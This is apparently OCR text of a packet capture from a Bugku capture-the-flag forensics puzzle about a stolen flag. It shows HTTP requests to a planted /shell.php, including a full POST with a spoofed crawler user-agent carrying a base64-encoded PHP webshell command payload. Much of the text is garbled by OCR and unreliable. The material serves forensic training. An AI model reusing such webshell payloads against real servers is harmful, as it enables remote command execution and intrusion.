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No. Time Source Destination Protocol Leng\;:h Info
103 20,517206 192.168.228.1 192.168,228.135 HTTP 847 POST /shell.php HTTP/1.1 (application/x-www-form-urlencoded)
90 18.852373 192.168.228.1 192.168.228.135 HTTP 841 POST /shell.php HTTP/1.1 (application/x-www-form-urlencoded)
110 22.239821 192.168.228.1 192.168.228.135 HTTP 839 POST /shell.php HTTP/1.1 (application/x-www-form-urlencoded)
132 30.773060 192.168.228.135 192.168.228.1 HTTP 659 HTTP/1.1 20@ OK (text/html)
127 30.716227 192.168.228.1 192.168.228.135 HTTP 513 GET / HTTP/1.1
133 30.816742 192.168.228.1 192.168.228.135 HTTP 472 GET /icons/ubuntu-logo.png HTTP/1.1
34 5.217678 192.168.228.1 192.168.228.135 HTTP 430 GET /shell.php HTTP/1.1
27 4.260303 192.168.228.1 192.168.228.135 HTTP 430 GET /shell.php HTTP/1.1

‘ 93 18.862571 192.168.228.135 192.168.228.1 HTTP 301 HTTP/1.1 20@ OK (text/html)
29 4.402148 192.168.228.135 192.168.228.1 HTTP 257 HTTP/1.1 28@ OK
36 5.218456 192.168.228.135 192.168.228.1 HTTP 256 HTTP/1.1 20@ OK
105 20.538401 192.168.228.135 192.168.228.1 HTTP 251 HTTP/1.1 2ee OK (text/html)
112 22.244904 192.168.228.135 192.168.228.1 HTTP 239 HTTP/1.1 2@e OK (text/html)
135 30.836589 192.168.228.135 192.168.228.1 HTTP 234 HTTP/1.1 304 Not Modified
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POST /shell.php HTTP/1.1 ~

X-Forwarded-For: 44,146.238.198

Referer: http://192.168.228.135/

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.@ (compatible; Baiduspider/2.@; +http://www.baidu.com/search/spider.html)
Host: 192.168.228.135

Content-Length: 787

Cache-Control: no-cache
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$xx( "QGluavozZXQoImRpc3BsYX1FZXIyb3J1zIiwiMCIpO@BzZXRTdG1tZVIsaWlpdCawKTtpZihQSFBFVkVSUBLIPT jwnNSAzL jANKXtAC2VOX21hZ21jX3F1b
3R1c19ydwWseaw11KDApO3@7ZWNobygiWEBZTik731G@972vex21h721jX3F1b3R1c19ncGMoKTskeD@nL21pbigzaCc7IHMII2NKTICO2YXTIvd3d3L2hebhwvo2x
z02VjaG8gW1Nd03B3ZDt1Y2hvIFtFXSc7IGQOZGLlybmFtZSgkX1INFULZFULSsiUGONSSVBUXOZITEVOQUIFI1@pOyRjPXN1YNNOCcigkZCwwLDEpPTOILYI
%2FIi1jIFwieyRzfVwiIjoil2MgXCI7IHNIXCIi0yRyPSI7IHB9IHskY30810yRhcnJheT1hcnJheShhenJheSgicGlwZSIsInIikSxhenJheSgicGlwZSIsIne
iKSxhcnJheSgicGlwZSTIsTIncikKSk7IGZwWPXByb2Nfb3B1bigkciaiTDT
%2BJJEiLCRhcnJheSwkcGlwZXMpOyRyZXQ9c3RyZWFtX2d1ldF9jb250ZW50cygkcGlwZXNbMYBpO3Byb2NTY2xvc2U0IGZwKTtwemludCAkemv@0zt1Y2hvKC]
YQFkiKTtkaWUoKTs%3D'));\"); ")) ;HTTP/1.1 200 OK

Date: Tue, 12 Sep 2017 12:14:34 GMT

Server: Apache/2.4.18 (Ubuntu)

Vary: Accept-Encoding

Content-Length: 76

Content-Type: text/html; charset=UTF-8
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= H rFbase64 N % i 7745 & 1% — T @ini_set(“display_errors”,“0”);@set_time_limit(0);if(PHP_VERSION<'5.3.0")
{@set_magic_quotes_runtime(0);};echo(*X@Y”);

m—_= 1 . 1 /\ 9 /1. /19
4 i




	bugku flag被盗了

